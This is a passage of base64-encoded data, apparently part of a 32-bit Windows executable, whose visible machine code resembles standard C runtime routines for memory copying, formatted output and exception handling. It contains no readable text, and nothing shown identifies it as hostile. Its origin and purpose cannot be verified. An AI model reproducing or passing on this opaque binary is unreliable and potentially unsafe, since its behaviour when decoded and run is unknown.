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sVovxi00IxkYMAIXJdWZX6HcSAACL+Il+CItXbIkWi09oiU4EOxUMpAEQdBGhyKQBEIVHcHUH6LQ/AACJBotGBF87BayhARB0FYtOCKHIpAEQhUFwdQjoFkMAAIlGBItOCItBcKgCdRaDyAKJQXDGRgwB6wqLAYkGi0EEiUYEi8ZeXcIEAFWL7IHsiAQAAKEAnAEQM8WJRfyLRQiNjbD7//9TVomF2Pv//4tFDFf/dRCLfRSJhfj7//8zwIvYib3w+///iYWk+///i/CJnez7//+JhdD7//+Jhej7//+Jhdz7//+Jhaj7//+JhcD7//+JhdT7///oA////+iZDAAAiYWc+///OZ3Y+///dSrohgwAAMcAFgAAAOhY/P//OJ28+///dAqLhbj7//+DYHD9g8j/6fUKAACLlfj7//+F0nTMD7cSM8mJjfT7//+LwYmF4Pv//4mNzPv//4mNrPv//4mV5Pv//2aF0g+EqgoAAMeFkPv//1gAAADHhYz7//9kAAAAx4WI+///aQAAAMeFmPv//28AAACDhfj7//8ChcAPiHMKAABqWI1C4F9mO8d3Dw+3wg++gCAQARCD4A/rAjPAi73M+///D768x0AQARCLx4m9zPv//4u98Pv//8H4BImFzPv//4P4Bw+HCwoAAP8khYU+ABAzwION6Pv///+L2ImFqPv//4mFwPv//4mF0Pv//4mF3Pv//4md7Pv//4mF1Pv//+nQCQAAD7fCaiBaK8J0RoPoA3Q5g+gIdC9ISHQdg+gDi4X4+///D4WvCQAAg8sIiZ3s+///6aEJAACDywSJnez7///pjQkAAIPLAevwgcuAAAAA6+iDywLr42oqWGY70HUviweDxwSJvfD7//+JhdD7//+FwA+JWgkAAIPLBPfYiZ3s+///iYXQ+///6UQJAABrjdD7//8KD7fCg8HQA8GJhdD7///pJAkAADPAiYXo+///6R0JAABqKlhmO9B1K4sHg8cEiYXo+///hcCLhfj7//+JvfD7//8PifwIAACDjej7////6fAIAABrjej7//8KD7fCg8HQA8GJhej7///pyggAAA+3woP4SXRXg/hodEhqbFo7wnQag/h3i4X4+///D4WzCAAAgcsACAAA6fz+//+Lhfj7//9mORB1FIPAAoHLABAAAImF+Pv//+nd/v//g8sQ6dX+//9qIFgL2OnZ/v//i4X4+///D7cAg/g2dSOLvfj7//9mg38CNHUWi8eDwASBywCAAACJhfj7///pmv7//4P4M3Uji734+///ZoN/AjJ1FovHg8AEgeP/f///iYX4+///6XL+//9mO4WM+///D4QLCAAAZjuFiPv//w+E/gcAAGY7hZj7//8PhPEHAACD+HUPhOgHAACD+HgPhN8HAABmO4WQ+///D4TSBwAAM8CJhcz7//+NheD7///HhdT7//8BAAAAUP+12Pv//1LoOwgAAIPEDOmfBwAAD7fCg/hkD48pAgAAD4SxAgAAg/hTD48lAQAAdH2D6EF0EEhIdFhISHQISEgPhZoFAABqIFgD0MeFqPv//wEAAACJleT7//+Lhej7//+Ntfz7//+Dy0C5AAIAAImd7Pv//4mN9Pv//4XAD4mOAgAAx4Xo+///BgAAAOnfAgAA98MwCAAAD4XYAAAAaiBYC9iJnez7///pyAAAAPfDMAgAAHULaiBYC9iJnez7//+Llej7//+/////f4P6/3QCi/qLtfD7//+DxgSJtfD7//+Ldvz2wyAPhL8EAACF9nUGizX0pAEQM8mLxomF5Pv//4mN9Pv//4X/D47QBAAAigCEwA+ExgQAAI2NsPv//w+2wFFQ6D5CAABZhcCLheT7//9ZdAFAi430+///QEGJheT7//+JjfT7//87z3zB6YwEAACD6FgPhNwCAABISA+EiwAAAIPoBw+E7f7//0hID4VqBAAAD7cHg8cEx4XU+///AQAAAIm98Pv//4mFoPv///bDIHREiIXE+///M8CIhcX7//+NhbD7//9Qi4Ww+////3B0jYXE+///UI2F/Pv//1DohkMAAIPEEIXAeRPHhcD7//8BAAAA6wdmiYX8+///M8mNtfz7//9B6eoDAACLB4PHBIm98Pv//4XAdDaLcASF9nQv98MACAAAdBcPvwCZK8LHhdT7//8BAAAAi8jpswMAADPJiY3U+///D78I6aUDAACLNfSkARBW6IEwAABZi8jpkQMAAIP4cA+P6wEAAA+E1wEAAIP4ZQ+MfwMAAIP4Zw+O8f3//2ppWjvCdGaD+G50J2pvWjvCD4VfAwAAx4Xk+///CAAAAITbeVuBywACAACJnez7///rTYPHBIm98Pv//4t//OgFQQAAhcAPhEUFAACLheD7///2wyB0BWaJB+sCiQfHhcD7//8BAAAA6cMEAACDy0CJnez7///HheT7//8KAAAA98MAgAAAdQz3wwAQAAAPhJcBAACLD4PHCIm98Pv//4t//OmwAQAAdRRqZ1hmO9B1VseF6Pv//wEAAADrSjvBfgiLwYmF6Pv//z2jAAAAfjeNuF0BAABX6DksAACLleT7//+Jhaz7//9ZhcB0Covwib30+///6wrHhej7//+jAAAAi73w+///iweDxwiJhXj7//+JvfD7//+LR/yJhXz7//+NhbD7//9Q/7Wo+///D77C/7Xo+///UP+19Pv//42FePv//1ZQ/zXkpAEQ/xU48AAQ/9CL+4PEHIHngAAAAHQhg73o+///AHUYjYWw+///UFb/NfCkARD/FTjwABD/0FlZamdYZjmF5Pv//3Uchf91GI2FsPv//1BW/zXspAEQ/xU48AAQ/9BZWYA+LQ+FHv7//4HLAAEAAEaJnez7///pDP7//8eF6Pv//wgAAABqB+scg+hzD4R7/P//SEgPhJL+//+D6AMPhYkBAABqJ8eF5Pv//xAAAABYiYWk+///hNsPiXj+//9qMFmDwFFmiY3I+///ZomFyvv//8eF3Pv//wIAAADpVf7//4PHBIm98Pv///bDIHQR9sNAdAYPv0f86w4Pt0f86wj2w0B0DItH/JmLyIv6M8DrB4tP/DPAi/j2w0B0HDv4fxh8BDvIcxL32RP499+BywABAACJnez7///3wwCQAAB1Aov4i5Xo+///hdJ5BTPSQusWg+P3iZ3s+///gfoAAgAAfgW6AAIAAIvBC8d1BomF3Pv//421+/3//4vCSomV6Pv//4XAfwaLwQvHdD2LheT7//+ZUlBXUegRQQAAg8EwiZ2E+///iYX0+///i/qD+Tl+BgONpPv//4uV6Pv//4gOTouN9Pv//+uwi53s+///jY37/f//K85GiY30+///98MAAgAAdEWFyXQFgD4wdDxOQWowWIgG6y2F9nUGizX4pAEQx4XU+///AQAAAIvOhf90DzPAT2Y5AXQHg8EChf918yvO0fmJjfT7//+DvcD7//8AD4WtAQAA9sNAdCD3wwABAAAPhB0BAABqLVhmiYXI+///x4Xc+///AQAAAGogWou90Pv//4uF3Pv//yv5K/j2wwx1HY2F4Pv//1D/tdj7//9XUug/AgAAi4Xc+///g8QQ/7Wc+///jY3g+///Uf+12Pv//1CNhcj7//9Q6EICAACDxBT2wwh0H/bDBHUajYXg+///UP+12Pv//1dqMFhQ6PIBAACDxBCDvdT7//8Ai4X0+///D4WzAAAAhcAPjqsAAACLzom15Pv//0iJhYT7//+NhbD7//9Qi4Ww+////3B0jYWg+///UVDoeT4AAIPEEImFlPv//4XAfmeNheD7//9Q/7XY+////7Wg+///6E0BAACLjeT7//+DxAwDjZT7//+LhYT7//+JjeT7//+FwH+Y61b2wwF0B2or6dn+///2wwIPhOL+//9qIFpmiZXI+///x4Xc+///AQAAAOnM/v//g8j/iYXg+///6yP/tZz7//+NjeD7//9R/7XY+///UFboOwEAAIPEFIuF4Pv//4XAeB/2wwR0Go2F4Pv//1D/tdj7//9XaiBYUOjmAAAAg8QQi4Ws+///hcB0D1Doe+7//zPAWYmFrPv//4uN9Pv//4uF+Pv//w+3EIuF4Pv//4mV5Pv//2aF0g+FfvX//4C9vPv//wB0CouNuPv//4NhcP2LTfxfXjPNW+hO5P//i+Vdw+hWAQAAxwAWAAAA6Cjx//+Avbz7//8AD4TV9P//i424+///g2Fw/enG9P//TTYAEBM0ABBHNAAQnDQAEO00ABD6NAAQRzUAEHI2ABBVi+yLRQz2QAxAdAaDeAgAdB1Q/3UI6GY7AABZWbn//wAAZjvBdQiLRRCDCP9dw4tFEP8AXcNVi+xWi3UMhfZ+HleLfRRX/3UQTv91COiu////g8QMgz//dASF9n/nX15dw1WL7FaLdRhXi30QiwaJRRj2RwxAdBCDfwgAdQqLTRSLRQwBAetPgyYAU4tdDIXbfkGLRRRQi0UIS1cPtwBQ6Fv///+LRRSDxAyDRQgCgzj/dRSDPip1E1BXaj/oPv///4tFFIPEDIXbf8qDPgB1BYtFGIkGW19eXcPoOgUAAIXAdQa49JsBEMODwAzDVYvsVujk////i00IUYkI6CAAAABZi/DoBQAAAIkwXl3D6AYFAACFwHUGuPCbARDDg8AIw1WL7ItNCDPAOwzFiJoBEHQnQIP4LXLxjUHtg/gRdwVqDVhdw42BRP///2oOWTvIG8AjwYPACF3DiwTFjJoBEF3DzMzMzMzMzMxocEAAEGT/NQAAAACLRCQQiWwkEI1sJBAr4FNWV6EAnAEQMUX8M8VQiWXo/3X4i0X8x0X8/v///4lF+I1F8GSjAAAAAMOLTfBkiQ0AAAAAWV9fXluL5V1Rw8zMzMzMzMxVi+yD7BhTi10MVlfGRf8Ai3sIjXMQMz0AnAEQx0X0AQAAAIsHg/j+dA2LTwQDzjMMMOj84f//i0cIi08MA84zDDDo7OH//4tFCPZABGYPhc8AAACJReiLRRCJReyNReiJQ/yLQwyJRfiD+P4PhO0AAACNBECNQASLTIcEjQSHixiJRfCFyXR7i9bowz4AALEBiE3/hcAPiH4AAAB+aItFCIE4Y3Nt4HUogz14/gAQAHQfaHj+ABDopDwAAIPEBIXAdA5qAf91CP8VeP4AEIPECItVCItNDOimPgAAi0UMi1X4OVAMdBBoAJwBEFaLyOinPgAAi0UMiVgMiweD+P50detmik3/iV34i8OD+/4PhV7///+EyXRH6yHHRfQAAAAA6xiDewz+dDZoAJwBEFaLy7r+////6GA+AACLB4P4/nQNi08EA84zDDDo5OD//4tXCItPDAPOMwwy6NTg//+LRfRfXluL5V3Di08EA84zDDDoveD//4tHCItPDAPOMwww6K3g//+LTfCL1otJCOjWPQAAzFWL7P8VTPAAEGoBo9SsARDoFCoAAP91COheIwAAgz3UrAEQAFlZdQhqAej6KQAAWWgJBADA6CwjAABZXcNVi+yB7CQDAABqF+gFqAAAhcB0BWoCWc0po7iqARCJDbSqARCJFbCqARCJHayqARCJNaiqARCJPaSqARBmjBXQqgEQZowNxKoBEGaMHaCqARBmjAWcqgEQZowlmKoBEGaMLZSqARCcjwXIqgEQi0UAo7yqARCLRQSjwKoBEI1FCKPMqgEQi4Xc/P//xwUIqgEQAQABAKHAqgEQo8SpARDHBbipARAJBADAxwW8qQEQAQAAAMcFyKkBEAEAAABqBFhrwADHgMypARACAAAAagRYa8AAiw0AnAEQiUwF+GoEWMHgAIsNBJwBEIlMBfhocP4AEOjM/v//i+Vdw2oIaOBEARDoyPz//4t1CIX2D4T+AAAAg34kAHQJ/3Yk6CLp//9Zg34sAHQJ/3Ys6BPp//9Zg340AHQJ/3Y06ATp//9Zg348AHQJ/3Y86PXo//9Zg35AAHQJ/3ZA6Obo//9Zg35EAHQJ/3ZE6Nfo//9Zg35IAHQJ/3ZI6Mjo//9ZgX5cmP4AEHQJ/3Zc6Lbo//9Zag3o1iUAAFmDZfwAi05ohcl0GIPI//APwQF1D4H5iJ8BEHQHUeiL6P//WcdF/P7////oVwAAAGoM6J8lAABZx0X8AQAAAIt+bIX/dCNX6EotAABZOz0MpAEQdBSB/xCkARB0DIM/AHUHV+jUKwAAWcdF/P7////oHgAAAFboM+j//1no//v//8IEAIt1CGoN6LImAABZw4t1CGoM6KYmAABZw1WL7KEInAEQg/j/dCdWi3UIhfZ1DlDolh0AAIvwoQicARBZagBQ6KUdAABZWVbomP7//15dw1boEgAAAIvwhfZ1CGoQ6DsTAABZi8Zew1ZX/xVA8AAQ/zUInAEQi/joTh0AAIvwWYX2dUdovAMAAGoB6K4gAACL8FlZhfZ0M1b/NQicARDoRh0AAFlZhcB0GGoAVuglAAAAWVn/FSzwABCDTgT/iQbrCVboZOf//1kz9lf/FVjwABBfi8Zew2oIaAhFARDo1vr//4t1CMdGXJj+ABCDZggAM/9HiX4UiX5wakNYZomGuAAAAGaJhr4BAADHRmiInwEQg6a4AwAAAGoN6DQkAABZg2X8AItGaIvP8A/BCMdF/P7////oPgAAAGoM6BMkAABZiX38i0UMiUZshcB1CKEMpAEQiUZs/3Zs6MYpAABZx0X8/v///+gVAAAA6I36///DM/9Hi3UIag3oPyUAAFnDagzoNiUAAFnD6NISAADo8SQAAIXAdQjoYwAAADPAw2g8QwAQ6OQbAACjCJwBEFmD+P9041ZovAMAAGoB6HwfAACL8FlZhfZ0LVb/NQicARDoFBwAAFlZhcB0G2oAVujz/v//WVn/FSzwABCDTgT/iQYzwEBew+gEAAAAM8Bew6EInAEQg/j/dA5Q6JwbAACDDQicARD/WelrIwAAzMzMzMzMzMzMzMzMVYvsg+wEU1GLRQyDwAyJRfyLRQhV/3UQi00Qi2386Jk6AABWV//QX16L3V2LTRBVi+uB+QABAAB1BbkCAAAAUeh3OgAAXVlbycIMAGoIaFBFARDoOPn///812KwBEP8VOPAAEIXAdBaDZfwA/9DrBzPAQMOLZejHRfz+////6AEAAADMaghoMEUBEOgA+f//6JL9//+LQHiFwHQWg2X8AP/Q6wczwEDDi2Xox0X8/v///+gwOgAAzOhq/f//i0B8hcB0Av/Q6bn///9oBEcAEP8VNPAAEKPYrAEQw2oIaOBFARDoqPj//4tFCIXAdHKBOGNzbeB1aoN4EAN1ZIF4FCAFkxl0EoF4FCEFkxl0CYF4FCIFkxl1SYtIHIXJdEKLUQSF0nQng2X8AFL/cBjorNz//8dF/P7////rJTPAOEUMD5XAw4tl6Og3////9gEQdA+LQBiLCIXJdAaLAVH/UAjob/j//8NVi+xW/3UIi/HowOL//8cGgP4AEIvGXl3CBADHAYD+ABDpy+L//1WL7FaL8ccGgP4AEOi64v//9kUIAXQHVuiB0///WYvGXl3CBABqMGiYRQEQ6NL3//+LRRiJReQz24ldyIt9DItH/IlF2It1CP92GI1FwFDo4d3//1lZiUXU6Dz8//+LgIgAAACJRdDoLvz//4uAjAAAAIlFzOgg/P//ibCIAAAA6BX8//+LTRCJiIwAAACJXfwzwECJRRCJRfz/dSD/dRz/dRj/dRRX6Ebb//+DxBSJReSJXfzpkQAAAP917OjkAQAAWcOLZejozvv